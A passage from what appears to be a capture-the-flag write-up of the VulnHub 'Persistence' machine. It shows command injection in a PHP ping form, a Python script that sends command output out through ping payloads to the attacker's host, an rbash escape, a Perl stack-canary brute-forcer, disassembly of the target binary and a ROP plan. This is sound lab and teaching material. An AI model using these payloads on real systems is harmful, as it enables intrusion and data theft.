:SYSTEM CALL memset(*sockaddr_in+8, 0x00, 8); // i.e. fill last 8 bytes of struct with zeros.
 80488b6:    66 c7 85 dc fd ff ff     mov    WORD PTR [ebp-0x224],0x2
 80488bd:    02 00
 80488bf:    c7 04 24 05 0d 00 00     mov    DWORD PTR [esp],0xd05
 80488c6:    e8 01 fd ff ff           call   80485cc <htons@plt>
 80488cb:    66 89 85 de fd ff ff     mov    WORD PTR [ebp-0x222],ax
 80488d2:    c7 85 e0 fd ff ff 00     mov    DWORD PTR [ebp-0x220],0x0
 80488d9:    00 00 00
 80488dc:    c7 44 24 08 08 00 00     mov    DWORD PTR [esp+0x8],0x8
 80488e3:    00
 80488e4:    c7 44 24 04 00 00 00     mov    DWORD PTR [esp+0x4],0x0
 80488eb:    00
 80488ec:    8d 85 dc fd ff ff        lea    eax,[ebp-0x224]
 80488f2:    83 c0 08                 add    eax,0x8
 80488f5:    89 04 24                 mov    DWORD PTR [esp],eax
 80488f8:    e8 af fc ff ff           call   80485ac <memset@plt>

:SYSTEM CALL bind(s, *address, 16);
 80488fd:    8d 85 dc fd ff ff        lea    eax,[ebp-0x224]
 8048903:    c7 44 24 08 10 00 00     mov    DWORD PTR [esp+0x8],0x10
 804890a:    00
 804890b:    89 44 24 04              mov    DWORD PTR [esp+0x4],eax
 804890f:    8b 85 d8 fd ff ff        mov    eax,DWORD PTR [ebp-0x228]
 8048915:    89 04 24                 mov    DWORD PTR [esp],eax
 8048918:    e8 1f fd ff ff           call   804863c <bind@plt>
 804891d:    85 c0                    test   eax,eax
 804891f:    79 1b                    jns    804893c <main+0x15e>
 8048921:    c7 04 24 42 8c 04 08     mov    DWORD PTR [esp],0x8048c42
 8048928:    e8 bf fc ff ff           call   80485ec <perror@plt>
 804892d:    e8 3a fc ff ff           call   804856c <__errno_location@plt>
 8048932:    8b 00                    mov    eax,DWORD PTR [eax]
 8048934:    89 04 24                 mov    DWORD PTR [esp],eax
 8048937:    e8 70 fd ff ff           call   80486ac <exit@plt>

:SYSTEM CALL puts("[+] bind complete");
 804893c:    c7 04 24 47 8c 04 08     mov    DWORD PTR [esp],0x8048c47
 8048943:    e8 24 fd ff ff           call   804866c <puts@plt>

:SYSTEM CALL listen(socket, 14);
 8048948:    c7 44 24 04 14 00 00     mov    DWORD PTR [esp+0x4],0x14
 804894f:    00
 8048950:    8b 85 d8 fd ff ff        mov    eax,DWORD PTR [ebp-0x228]
 8048956:    89 04 24                 mov    DWORD PTR [esp],eax
 8048959:    e8 3e fc ff ff           call   804859c <listen@plt>
 804895e:    85 c0                    test   eax,eax
 8048960:    79 1b                    jns    804897d <main+0x19f>
 8048962:    c7 04 24 59 8c 04 08     mov    DWORD PTR [esp],0x8048c59
 8048969:    e8 7e fc ff ff           call   80485ec <perror@plt>
 804896e:    e8 f9 fb ff ff           call   804856c <__errno_location@plt>
 8048973:    8b 00                    mov    eax,DWORD PTR [eax]
 8048975:    89 04 24                 mov    DWORD PTR [esp],eax
 8048978:    e8 2f fd ff ff           call   80486ac <exit@plt>

:SYSTEM CALL setenv("TMPLOG", "/tmp/log", 1);
 804897d:    c7 44 24 08 01 00 00     mov    DWORD PTR [esp+0x8],0x1
 8048984:    00
 8048985:    c7 44 24 04 60 8c 04     mov    DWORD PTR [esp+0x4],0x8048c60
 804898c:    08
 804898d:    c7 04 24 69 8c 04 08     mov    DWORD PTR [esp],0x8048c69
 8048994:    e8 03 fd ff ff           call   804869c <setenv@plt>

:SYSTEM CALL puts("[+] waiting for connections");
 8048999:    c7 04 24 70 8c 04 08     mov    DWORD PTR [esp],0x8048c70
 80489a0:    e8 c7 fc ff ff           call   804866c <puts@plt>

:SYSTEM CALL puts("[+] logging queries to $TMPLOG");
 80489a5:    c7 04 24 8c 8c 04 08     mov    DWORD PTR [esp],0x8048c8c
 80489ac:    e8 bb fc ff ff           call   804866c <puts@plt>

while(true) {
:VARIABLE struct sockaddr_in client;
:VARIABLE int session;
:SYSTEM CALL session = accept(s, *client, 16);
 80489b1:    8d 95 cc fd ff ff        lea    edx,[ebp-0x234]
 80489b7:    8d 85 ec fd ff ff        lea    eax,[ebp-0x214]
 80489bd:    89 54 24 08              mov    DWORD PTR [esp+0x8],edx
 80489c1:    89 44 24 04              mov    DWORD PTR [esp+0x4],eax
 80489c5:    8b 85 d8 fd ff ff        mov    eax,DWORD PTR [ebp-0x228]
 80489cb:    89 04 24                 mov    DWORD PTR [esp],eax
 80489ce:    e8 29 fc ff ff           call   80485fc <accept@plt>
 80489d3:    89 85 d4 fd ff ff        mov    DWORD PTR [ebp-0x22c],eax
 80489d9:    83 bd d4 fd ff ff 00     cmp    DWORD PTR [ebp-0x22c],0x0
 80489e0:    79 1b                    jns    80489fd <main+0x21f>
 80489e2:    c7 04 24 ab 8c 04 08     mov    DWORD PTR [esp],0x8048cab
 80489e9:    e8 fe fb ff ff           call   80485ec <perror@plt>
 80489ee:    e8 79 fb ff ff           call   804856c <__errno_location@plt>
 80489f3:    8b 00                    mov    eax,DWORD PTR [eax]
 80489f5:    89 04 24                 mov    DWORD PTR [esp],eax
 80489f8:    e8 af fc ff ff           call   80486ac <exit@plt>

:SYSTEM CALL puts("[+] got a connection");
 80489fd:    c7 04 24 b2 8c 04 08     mov    DWORD PTR [esp],0x8048cb2
 8048a04:    e8 63 fc ff ff           call   804866c <puts@plt>

:SYSTEM CALL Fork the process.
:IF BEGIN? Only perform following batch if PID is zero?
if (!fork()) {
 8048a09:    e8 6e fc ff ff           call   804867c <fork@plt>
 8048a0e:    85 c0                    test   eax,eax
 8048a10:    0f 85 f8 00 00 00        jne    8048b0e <main+0x330>

:SYSTEM CALL write(session, "[+] hello, my name is sploitablen", 33);
 8048a16:    c7 44 24 08 21 00 00     mov    DWORD PTR [esp+0x8],0x21
 8048a1d:    00
 8048a1e:    c7 44 24 04 c8 8c 04     mov    DWORD PTR [esp+0x4],0x8048cc8
 8048a25:    08
 8048a26:    8b 85 d4 fd ff ff        mov    eax,DWORD PTR [ebp-0x22c]
 8048a2c:    89 04 24                 mov    DWORD PTR [esp],eax
 8048a2f:    e8 58 fb ff ff           call   804858c <write@plt>

:SYSTEM CALL write(session, "[+] would you like to play a game?n", 35);
 8048a34:    c7 44 24 08 23 00 00     mov    DWORD PTR [esp+0x8],0x23
 8048a3b:    00
 8048a3c:    c7 44 24 04 ec 8c 04     mov    DWORD PTR [esp+0x4],0x8048cec
 8048a43:    08
 8048a44:    8b 85 d4 fd ff ff        mov    eax,DWORD PTR [ebp-0x22c]
 8048a4a:    89 04 24                 mov    DWORD PTR [esp],eax
 8048a4d:    e8 3a fb ff ff           call   804858c <write@plt>

:SYSTEM CALL write(session, "> ", 2);
 8048a52:    c7 44 24 08 02 00 00     mov    DWORD PTR [esp+0x8],0x2
 8048a59:    00
 8048a5a:    c7 44 24 04 10 8d 04     mov    DWORD PTR [esp+0x4],0x8048d10
 8048a61:    08
 8048a62:    8b 85 d4 fd ff ff        mov    eax,DWORD PTR [ebp-0x22c]
 8048a68:    89 04 24                 mov    DWORD PTR [esp],eax
 8048a6b:    e8 1c fb ff ff           call   804858c <write@plt>

:VARIABLE char[512] readbuffer;
:SYSTEM CALL memset(readbuffer, 0x00, 512); // Zero the buffer.
 8048a70:    c7 44 24 08 00 02 00     mov    DWORD PTR [esp+0x8],0x200
 8048a77:    00
 8048a78:    c7 44 24 04 00 00 00     mov    DWORD PTR [esp+0x4],0x0
 8048a7f:    00
 8048a80:    8d 85 fc fd ff ff        lea    eax,[ebp-0x204]
 8048a86:    89 04 24                 mov    DWORD PTR [esp],eax
 8048a89:    e8 1e fb ff ff           call   80485ac <memset@plt>

:VARIABLE int readlength;
:SYSTEM CALL readlength = read(session, readbuffer, 512);
 8048a8e:    c7 44 24 08 00 02 00     mov    DWORD PTR [esp+0x8],0x200
 8048a95:    00
 8048a96:    8d 85 fc fd ff ff        lea    eax,[ebp-0x204]
 8048a9c:    89 44 24 04              mov    DWORD PTR [esp+0x4],eax
 8048aa0:    8b 85 d4 fd ff ff        mov    eax,DWORD PTR [ebp-0x22c]
 8048aa6:    89 04 24                 mov    DWORD PTR [esp],eax
 8048aa9:    e8 2e fb ff ff           call   80485dc <read@plt>

:SYSTEM CALL get_reply(readbuffer, readlength, session);
 8048aae:    89 85 c8 fd ff ff        mov    DWORD PTR [ebp-0x238],eax
 8048ab4:    8b 85 d4 fd ff ff        mov    eax,DWORD PTR [ebp-0x22c]
 8048aba:    89 44 24 08              mov    DWORD PTR [esp+0x8],eax
 8048abe:    8b 85 c8 fd ff ff        mov    eax,DWORD PTR [ebp-0x238]
 8048ac4:    89 44 24 04              mov    DWORD PTR [esp+0x4],eax
 8048ac8:    8d 85 fc fd ff ff        lea    eax,[ebp-0x204]
 8048ace:    89 04 24                 mov    DWORD PTR [esp],eax
 8048ad1:    e8 9e fc ff ff           call   8048774 <get_reply>

:SYSTEM CALL write(session, "[+] bye!n", 9);
 8048ad6:    c7 44 24 08 09 00 00     mov    DWORD PTR [esp+0x8],0x9
 8048add:    00
 8048ade:    c7 44 24 04 13 8d 04     mov    DWORD PTR [esp+0x4],0x8048d13
 8048ae5:    08
 8048ae6:    8b 85 d4 fd ff ff        mov    eax,DWORD PTR [ebp-0x22c]
 8048aec:    89 04 24                 mov    DWORD PTR [esp],eax
 8048aef:    e8 98 fa ff ff           call   804858c <write@plt>

:SYSTEM CALL close(session);
 8048af4:    8b 85 d4 fd ff ff        mov    eax,DWORD PTR [ebp-0x22c]
 8048afa:    89 04 24                 mov    DWORD PTR [esp],eax
 8048afd:    e8 4a fb ff ff           call   804864c <close@plt>

:SYSTEM CALL exit(0); // Return zero. Clean exit.
 8048b02:    c7 04 24 00 00 00 00     mov    DWORD PTR [esp],0x0
 8048b09:    e8 9e fb ff ff           call   80486ac <exit@plt>

:SYSTEM CALL close(session);
 8048b0e:    8b 85 d4 fd ff ff        mov    eax,DWORD PTR [ebp-0x22c]
 8048b14:    89 04 24                 mov    DWORD PTR [esp],eax
 8048b17:    e8 30 fb ff ff           call   804864c <close@plt>

:SYSTEM CALL waitpid(0xffffff, 0x0, 0x1); // Not sure about this.
 8048b1c:    c7 44 24 08 01 00 00     mov    DWORD PTR [esp+0x8],0x1
 8048b23:    00
 8048b24:    c7 44 24 04 00 00 00     mov    DWORD PTR [esp+0x4],0x0
 8048b2b:    00
 8048b2c:    c7 04 24 ff ff ff ff     mov    DWORD PTR [esp],0xffffffff
 8048b33:    e8 f4 fa ff ff           call   804862c <waitpid@plt>
 8048b38:    85 c0                    test   eax,eax
 8048b3a:    7f e0                    jg     8048b1c <main+0x33e>

 8048b3c:    e9 70 fe ff ff           jmp    80489b1 <main+0x1d3>

 8048b41:    90                       nop
 8048b42:    90                       nop
 8048b43:    90                       nop
 8048b44:    90                       nop
 8048b45:    90                       nop
 8048b46:    90                       nop
 8048b47:    90                       nop
 8048b48:    90                       nop
 8048b49:    90                       nop
 8048b4a:    90                       nop
 8048b4b:    90                       nop
 8048b4c:    90                       nop
 8048b4d:    90                       nop
 8048b4e:    90                       nop
 8048b4f:    90                       nop

<snip />

Persistence or: How I Learned to Stop Worrying and Love WOPR

I will remember September 2014 as the month I devoted to the Persistence competition over at VulnHub. As a relative newcomer to offensive security, I was not confident that I would ever reach the final conclusion of beating the system. Sure, I had completed Offensive Security’s excellent OSCP certification earlier in the year, but that was only a taster of the techniques that would be required to fully exploit sagi- & superkojiman’s devious challenge.

This very enjoyable (and frustrating) machine has taken me far beyond my basic understanding of buffer overflows and thrown me into the topics of binary decompiling, Return-Oriented Programming, Canaries, Linux shared-library addressing, and debugging. It’s been a great learning experience, and I highly recommend it for anyone interested in learning more about defeating buffer overflow protections, or even just x86 architecture.

So, for those still interested, please read on and I will try and recall the journey I took to break Persistence. Apologies if anyone finds my post too wordy or unpolished; this is my first and I am running out of time approaching the deadline.

Notes: My box is Persistence is Also I’m running Kali x64 so I needed to add the package libc6-i386 to allow x86 binaries to be analysed.

First steps

Persistence: "the fact of continuing in an opinion or course of action in spite of difficulty or opposition." by sagi- & superkojiman

With the machine booted up,  I found the new IP address on my network and set about scanning it.

root@worry:~/persistence# nmap -p- -T4

Starting Nmap 6.46 ( http://nmap.org ) at 2014-10-03 16:48 BST
Nmap scan report for
Host is up (0.00049s latency).
Not shown: 65534 filtered ports
80/tcp open  http
MAC Address: 00:0C:29:C7:71:A8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 87.95 seconds

Just a web server. I queried it in a browser and all I got was a static webpage with the famous Dali painting…

Dali's The Persistence of Memory

I did some initial service identification to see if I could get a quick start in, but I found that it was running a secure and properly configured version of nginx. Then hoping to find some hidden content I ran dirb, but its default wordlist didn’t turn up anything:

root@worry:~/persistence# dirb

DIRB v2.21    
By The Dark Raver

START_TIME: Fri Oct  3 17:12:53 2014
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4592                                                          

---- Scanning URL: ----
+ (CODE:200|SIZE:391)                                                                                                           

There had to be something in there, so I carried on with the more configurable OWASP DirBuster. Using the included word list directory-list-1.0.txt, and the file extension list “html,htm,php,pl,cgi”, I started a scan and waited. And then result! A single PHP page: /debug.php.

DirBuster scan settings DirBuster results Complete with ping tool (and command injection?)

By entering my IP address into this form and submitting, Persistence will send four pings towards my machine. I know this, because Tyler Wireshark knows this. The PHP form never produces any output, but I suspected that it was probably calling exec() with unsanitised user input and that it might be vulnerable to a command injection. That was quickly established to be true when I added additional commands to the input… “ && ping -c 1” would ping a Google DNS server, and then ping my box once.

By using && logic I was able to tie together some commands and try and get some information back from the system. For example, “ && php –help && ping -c 1” produced no pings back to my box, but “ && python –help && ping -c 1” did. So I have access to python to execute complex attacks.

Python shell?

I tried some off the shelf reverse shell attacks, but no luck. So I also tried some basic TCP operations, but it appeared that no communication between Persistence and my box was possible. It looked like I was firewalled out. (This belief proved to be correct.)

The only communication I had was ICMP pings.

I took longer than I care to remember trying to figure out another way through. Eventually, while on the way to the pub one Thursday evening, I remembered being taught about steganography – the concept of hiding information in otherwise innocent data or communications noise.

It seemed mad to me that this was the intended challenge, but with some goading from friends and some encouragement from #vulnhub, I took my crazy idea forward.

ICMP Exfiltration

It turns out that this technique is all too common and has a name, but it was new to me at the time.

I started by constructing a script that would return the results of “ls -l”, and I would use ping‘s -p parameter which allows me to specify up to 16 bytes of data in the packet. The final input text field data looked like this: && echo "from subprocess import Popen, PIPE
p = Popen(['ls', '-l'], stdout=PIPE, stderr=PIPE)
output, err = p.communicate ()
rc = p.returncode
offset = 0
while offset < len(output):
 buf = len(output) - offset
 print buf
 if buf > 16:
  buf = 16
 sendback = output[offset:offset+buf]
 hexback = sendback.encode('hex')
 from subprocess import call
 call(['ping', '-c', '1', '-p', hexback, ''])
 offset += buf" | python

Using wonderful BurpSuite Repeater, I made got my request URL-encoded and sent it out, and then to my amazement I was not only getting a large number of pings back, but was also getting interesting information back! I was on the right track. I read information coming through in byte range 3a-40 of each package captured in Wireshark:

Data stolen over ICMP is revealed

And was able to piece together the following directory listing:

total 160.
-rwxr-xr-x. 1 root root    439 Mar 17  2014 debug.php
-rw-r--r--. 1 root root    391 Mar 12  2014 index.html
-rw-r--r--. 1 root root 146545 Mar 12  2014 persistence_of_memory_by_tesparg-d4qo048.jpg
-rwsr-xr-x. 1 root root   5757 Mar 17  2014 sysadmin-tool

Jackpot! Next, I would attempt to run sysadmin-tool to see what information I can gather from it. Again, I would use BurpSuite and URL-encoding to send the above request, but this time I would run “./sysadmin-tool” with parameter “–help”. Here’s the response extracted from Wireshark:

Usage: sysadmin-tool --activate-service

Finally, I modified the parameter once again to “–activate-service”:

Service started...
Use avida:dollars to access.

Fingers crossed, I ran another nmap portscan on the box to see if there were any new services open. I was not disappointed; SSH was now open:

root@worry:~/persistence# nmap -T4 -p-

Starting Nmap 6.46 ( http://nmap.org ) at 2014-10-03 21:44 BST
Nmap scan report for
Host is up (0.00051s latency).
Not shown: 65533 filtered ports
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:C7:71:A8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 87.92 seconds

The Limited Shell

I quickly connected over SSH with the provided credentials, and found myself in a limited shell, where I couldn’t change directory, and could only execute commands contained in /home/avida/usr/bin.

root@worry:~/persistence# ssh avida@
The authenticity of host ' (' can't be established.
RSA key fingerprint is 37:22:da:ba:ef:05:1f:77:6a:30:6f:61:56:7b:47:54.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (RSA) to the list of known hosts.
avida@'s password:
Last login: Mon Mar 17 17:13:40 2014 from
-rbash-4.1$ cd /
-rbash: cd: restricted
-rbash-4.1$ /bin/bash
-rbash: /bin/bash: restricted: cannot specify `/' in command names
-rbash-4.1$ echo $PATH

After jumping into autopilot and trying some standard attempts to escape limited shells, I realised that I was in rbash and that it’s a pretty secure jail-cell. I needed to find something in usr/bin that I could exploit:

-rbash-4.1$ ls usr/bin/
cat    cut  diff  file  gunzip  ifconfig  kill    lscpu   nano     passwd  pstree  renice  route  telnet  uniq    which
clear  dd   dir   ftp   gzip    iftop     locale  md5sum  netstat  ping    pwd     rm      seq    top     uptime  who
cp     df   du    grep  id      ipcalc    ls      mkdir   nice     ps      rename  rmdir   sort   touch   wc      whoami

For the first time on this challenge, the answer jumped out immediately. I could use nice to run another shell and break out of the jail. I would also update the PATH environment variable so that I had intuitive access to all available system commands

-rbash-4.1$ nice /bin/bash
bash-4.1$ export PATH="/usr/bin:/usr/sbin:/bin:/sbin"


Thus began my proper reconnaissance of the target. Looking back, this was a playful break before the major challenge. I examined the running processes, open ports, any logs that I could read, and traversed the file system for as many clues as I could find.

The system was pretty locked down, felt well configured, and no amount of searching the CVE database revealed public exploits to be available for the operating system (CentOS 6.5 in this case).

The only thing that seemed genuinely targetable was a service running on TCP port 3333:

bash-4.1$ netstat -napt
(No info could be read for "-p": geteuid()=500 but you should be root.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
tcp        0      0      *                   LISTEN      -                   
tcp        0      0    *                   LISTEN      -                   
tcp        0      0        *                   LISTEN      -                   
tcp        0      0        *                   LISTEN      -                   
tcp        0      0      *                   LISTEN      -                   
tcp        0      0         ESTABLISHED -                   
tcp        0      0 :::22                       :::*                        LISTEN      -                   
tcp        0      0 ::1:25                      :::*                        LISTEN      -                   

Only accessible from my SSH shell, I tried connecting…

bash-4.1$ telnet 3333
Connected to
Escape character is '^]'.
[+] hello, my name is sploitable
[+] would you like to play a game?

Nice. If I’m not mistaken that’s a reference to the film War Games. Having too much fun, I did some searches on the film in case a relevant response was required. I tried all sorts of things, but the response is always the same:

> Joshua
[+] yeah, I don't think so
[+] bye!
Connection closed by foreign host.
> y
[+] yeah, I don't think so
[+] bye!
Connection closed by foreign host.
> YES!!!
[+] yeah, I don't think so
[+] bye!
Connection closed by foreign host.
> Love to.  How about Global Thermonuclear War?
[+] yeah, I don't think so
Connection closed by foreign host.

But the response is always the same…

Except for that last one! Notice that “[+] bye!” is missing in the response. No, that behaviour is not because I correctly guessed the correct phrase, but because the length is overflowing a buffer and changing the program’s behaviour. This tell will be crucial later on!

I surmise that the service running on TCP port 3333 is the one called wopr (also the name of the mainframe in the film), and confirm that each time I connect to port 3333, a new wopr process is forked and then terminated:

bash-4.1$ ps aux | grep wopr
root      1118  0.0  0.0   2004   408 ?        S    12:36   0:00 /usr/local/bin/wopr
root      3752  0.0  0.0      0     0 ?        Z    18:10   0:00 [wopr]
avida     3776  0.0  0.1   4360   744 pts/0    SN+  18:13   0:00 grep wopr

I won’t be able to debug the application on Persistence, so I take a copy of it to my Kali Linux box for analysis. Since I was prevented from creating any TCP (or even UDP) connections in or out of the box I resorted to base64 encoding the wopr binary in the terminal and then decoding it on my own machine. (No more unwieldy ICMP exfiltration required.)

An exercise in decompiling

Now that I had a binary, I disassembled it with objdump. It was not very large. As I need to learn to become a bit more fluent with assembly language (and also since I don’t have a fancy expensive decompiler like IDA Pro to do it for me) I decided to go about decompiling it manually.

This bit took me a few hours, but that’s mainly because I had to comb through the instructions and reference a good x86 instruction set reference.

For those really interested, my poorly decompiled C can be read interspersed in the disassembled program. But for most readers, it’s enough to know that the program looks something like this:

void get_reply(char* request, int length, int filehandle)
    int canary = ????;
    char[30] dest;
    memcpy(dest, filehandle, length);
    write(filehandle, "[+] yeah, I don't think son", 27);
    if (canary != ????)

main(int argc, char* argv[])
    int canary = ????;

    int optval = 1;
    int s = socket(PF_UNIX, SOCK_STREAM, 0);
    setsockopt(s, 1, SO_REUSEADDR, *optval, 4);
    struct sockaddr_in address;
    address.sin_family = AF_INET;
    address.sin_port = htons(3333);
    address.sin_addr = 0;
    memset(*sockaddr_in+8, 0x00, 8); // i.e. fill last 8 bytes of struct with zeros.
    bind(s, *address, 16);
    puts("[+] bind complete");
    listen(socket, 14);
    setenv("TMPLOG", "/tmp/log", 1);
    puts("[+] waiting for connections");
    puts("[+] logging queries to $TMPLOG");
        struct sockaddr_in client;
        int session;
        session = accept(s, *client, 16);
        puts("[+] got a connection");
        if (!fork()) // Not sure about this exactly.
            write(session, "[+] hello, my name is sploitablen", 33);
            write(session, "[+] would you like to play a game?n", 35);
            write(session, "> ", 2);
            char[512] readbuffer;
            memset(readbuffer, 0x00, 512); // Zero the buffer.
            int readlength;
            readlength = read(session, readbuffer, 512);
            get_reply(readbuffer, readlength, session);
            write(session, "[+] bye!n", 9);
            exit(0); // Return zero. Clean exit.
        waitpid(0xffffff, 0x0, 0x1); // Not sure about this.

    if (canary != ????)

There you have it; there’s no real game logic to the application. But there is a buffer overflow that can be exploited…

When function main reads from the TCP connection, it will consume 512 bytes (or less if less sent at that point) into an array. That is done safely. However, it then calls get_reply, passing a pointer to that array. get_reply copies the entire length of the array into a local array that is only 30 or so bytes long. Buffer overflow!

Canary cracking

However, the function is protected by a canary. This is the reason that (earlier) the program didn’t output “[+] bye!” when long input was sent its way; the canary gets overwritten, and so instead of returning to main cleanly, the __stack_chk_fail function is called which terminates the program for its own protection.

So I cracked open The GNU Debugger and began to step through the program to see if the canary was static or not. I would want to be debugging the forked child processes, not the parent handling connections. To do so, I started building up my attack script in Perl. Key feature is the option to sleep between connecting and sending data; this allows me enough time to attach to the child process and debug.


use strict;
use warnings;
use IO::Socket::INET;

sub send_data # request, sleep
    my $connection = new IO::Socket::INET (
        PeerHost => '',
        PeerPort => '3333',
        Proto => 'tcp',
    die "Can't connect.n" unless $connection;
    my $request = shift();
    my $sleep = shift();
    if (defined($sleep) && $sleep)
    my @response = <$connection>;
    return @response;

send_data("A" x 10, 1);

For the avoidance of doubt, one can attach to the child thus:

root@worry:~/persistence# ps aux | grep wopr
root     22026  0.0  0.0   1844    64 pts/0    S+   00:18   0:00 ./wopr
root     22029  0.0  0.0   7772   840 pts/7    S+   00:18   0:00 grep wopr
root     63999  0.0  0.0   1844   212 pts/0    S+   Oct02   0:00 ./wopr
root@worry:~/persistence# gdb wopr 22026

After stepping through the program a few times, I found that the canary would remain the same for each new connection, but that the starting value is seemingly random. A restart of the parent process will change the canary and therefore cannot be predicted (by me anyway).

At this point I was seriously wondering whether I was seriously meant to try and brute-force the entire 2^32 combinations. That would take a long time. However, it was seriously considering this idea that a better one was presented (regretfully I did not reach the conclusion on my own). If I can overwrite the canary one byte at a time, then I at most need to try 256*4 combinations; very feasible!

Here is what my canary smasher looks like. It differentiates between a trashed and pristine canary by the absence or presence of the “bye” in the response.


use strict;
use warnings;
use IO::Socket::INET;

sub send_data
    my $connection = new IO::Socket::INET (
        PeerHost => '',
        PeerPort => '3333',
        Proto => 'tcp',
    die "Can't connect.n" unless $connection;
    my $request = shift();
    my $sleep = shift();
    if (defined($sleep) && $sleep)
    my @response = <$connection>;
    return @response;

sub caused_crash
    return join("n", @_) !~ m/bye/;

# Find length of buffer up to canary.

my $broken = 0;
my $length = 10;

while (!$broken)

    my $connection = new IO::Socket::INET (
        PeerHost => '',
        PeerPort => '3333',
        Proto => 'tcp',
    die "Can't connect.n" unless $connection;

    my @response = send_data("A" x $length);

    if (caused_crash(@response))
        $broken = 1;

printf("Safe buffer length discovered to be: %dn", $length);

# Crack canary value

my @canary = ();
my $teststr = "A" x $length;

while (scalar(@canary) < 4)
    for (my $testbyte = 0; $testbyte < 256; $testbyte++)
        if (!caused_crash(send_data($teststr . chr($testbyte))))
            push(@canary, chr($testbyte));
            $teststr .= chr($testbyte);
            printf("Byte %d of canary found: \x%02xn", scalar(@canary), $testbyte);
        elsif ($testbyte == 255)
            die("Failed to find canary value!n");

print("All four bytes of canary found.n");

This runs quickly…

root@worry:~/persistence# ./fuzz2.pl
Safe buffer length discovered to be: 30
Byte 1 of canary found: x00
Byte 2 of canary found: x11
Byte 3 of canary found: x4b
Byte 4 of canary found: x79
All four bytes of canary found.

(It’s worth mentioning for other buffer overflow beginners, that there is no need to find bad input characters in this challenge, as strcpy is not being used. I can see from the assembly that only memcpy and read functions are used, which will copy data verbatim.)

Segmentation fault

It was at this point that I realised I had control over the stack of the program and I got a bit excited. Instead of evaluating my new surroundings, I ploughed straight in and tried to create a shellcode. Since I couldn’t make network connections, reverse shells were out. So I used msfpayload to make a payload that would create a new user.

Nope. Segmentation fault. It’s a non-executable stack. If I had taken a few minutes to do some more footprinting of the application I wouldn’t have wasted my time. Arming GDB with the PEDA extensions allows this to be known at the start:

gdb-peda$ checksec
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

I realised at this point that I was going to need to level up if I was going to have any chance beating Persistence. It was naive of me to think that I would be able to beat a machine so-called that easily.

It was time to finally learn what all of the fancy terms like ROP, retn2libc, PLT, and ASLR were all about.

First things first… Is ASLR actually enabled on Persistence?

bash-4.1$ cat /proc/sys/kernel/randomize_va_space

No. OK, that’s one less thing to worry about. I set my Kali box to be the same and started work.

Back to school

I spent a couple of days of intensive reading. While I was very keen to just smash the machine and get on with my life, I wanted to understand what I was doing and why it worked, not just beat it.

I want to use an analogy I once heard P. T. Anderson use about the writing process. Well, learning a computing specialism, for me, is a lot like ironing. Sometimes I just need to get the shirt ironed, so I sweep the iron over the fabric as quickly as possible. That’s me copying an exploit from a guide or using a cheat sheet. But there are all of these creases; these are the gaps in my knowledge and hacks I didn’t understand. So I try to go back over the creases as much as I can and try and get them flat. The only way I know to do that it to read the theory, and to get my hands dirty with the disassembler going through the attack time after time until it makes sense.

This takes many, many hours, but it is worth it.

In that spirit, I read a great many sources. Too many to remember them all but ones I found most valuable were:

Return-oriented programming

The first challenge that needs to be solved is the non-executable stack. For this, I learned about ROP; specifically return-to-libc attacks, and knowing about it is fundamental to the rest of this walkthrough.

This involves contriving an incorrect stack history in memory. A normal stack should look something like this:

  1. We’re in function_c. At end of function jump to just after function_c was called in function_b.
  2. We’re in function_b. At end of function jump to just after function_b was called in function_a.
  3. We’re in function_a. No more stack; just jump to exit system call.

If you can overwrite the stack you can contrive a completely incorrect (yet deterministic  and executable) stack history, which allows you to run any functions in sequence, provided you know their addresses:

  1. Currently in function_c. At end of function jump to start of strcpy.
  2. In strcpy. At end of function jump to start of write.
  3. In write. At end of function jump to start of puts.
  4. In puts. No more stack; just jump to exit system call.

This looks completely weird for most people that are used to high-level programming, but it works very effectively. Here’s a quick illustration of how it looks, but bear in mind that the guides I’ve cited are better explained.

AAAA    AAAA  AAAA  AAAA # The 30 bytes filling the
AAAA    AAAA  AAAA  AA   # stack up to the canary.
CCCC    # The four canary bytes
SFP     # Overwrite the SFP with anything
# Function    # 2 arguments, as expected by strcpy
strcpy  PPR   ARG1  ARG2
        # Address with two POP instructions, followed by RET
# Function    # 3 arguments, as expected by write
write   PPPR  ARG1  ARG2  ARG3
        # Address with three POP instructions, followed by RET.
# Function  # 1 argument, as expected by puts
puts    EXIT  ARG1
        # Last call in our attack, so just return to exit

What this is doing is performing one strcpy operation (from Memory address ARG2 to ARG1), then calling write to write ARG3 bytes from memory location ARG2, to filehandle ARG1. Finally, puts will print the string at memory location ARG1 to standard output.

  1. Call strcpy with return address write, and two arguments for strcpy: destination ARG1, and source ARG2.
  2. When strcpy returns, the instructions POP, POP, RET are called, thereby removing the two arguments from the stack, and returning to… start of write
  3. Call write with return address puts, and three arguments for write: filehandle ARG1, source ARG2, and length ARG3.
  4. When write returns, the instructions POP, POP, POP, RET are called, thereby removing the three arguments from the stack, and returning to… start of puts.
  5. Call puts with return address exit, and one arguments for puts: string ARG1.
  6. When puts returns, we will just call exit. No POPping required.

This is best learned by practice, and I shan’t go into the detail of the many failures and successes I had in learning about this.

Planning an attack

The attack I want to do is essentially to call system with a suitable command payload. To do so, I will need to know the address of system, and I will need to find (or inject) the commands I want to execute into the program memory.

It’s also worth recognising that I only have 474 bytes that I can insert into the stack (512 bytes, minus the 30-byte variable, the 4-byte canary, and the SFP).  In ROP, each call requires 16-bytes on average, so there is a maximum of around 29 functions that can be called.

A number of pieces of information need to be gathered for a successful attack.

Suitable POP addresses

First of all, you will need some POP [..] RET addresses.

msfelfscan will find these, but it appears to only find examples with two POPs.

root@worry:~/persistence# msfelfscan -p wopr
0x08048743 pop ebx; pop ebp; ret
0x08048bb7 pop edi; pop ebp; ret
0x08048be8 pop ebx; pop ebp; ret

We will be needing three POPs in some cases, so some manual searching is required. First, identify the memory range that wopr occupies using gdb-peda. Here, the start:end range is identified as 0x8048000:0x804b000…

gdb-peda$ info proc mappings
process 22553
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
     0x8048000  0x8049000     0x1000          0                              /root/persistence/wopr
     0x8049000  0x804a000     0x1000          0                              /root/persistence/wopr
     0x804a000  0x804b000     0x1000     0x1000                              /root/persistence/wopr
     0x804b000  0x806c000    0x21000          0                                   [heap]
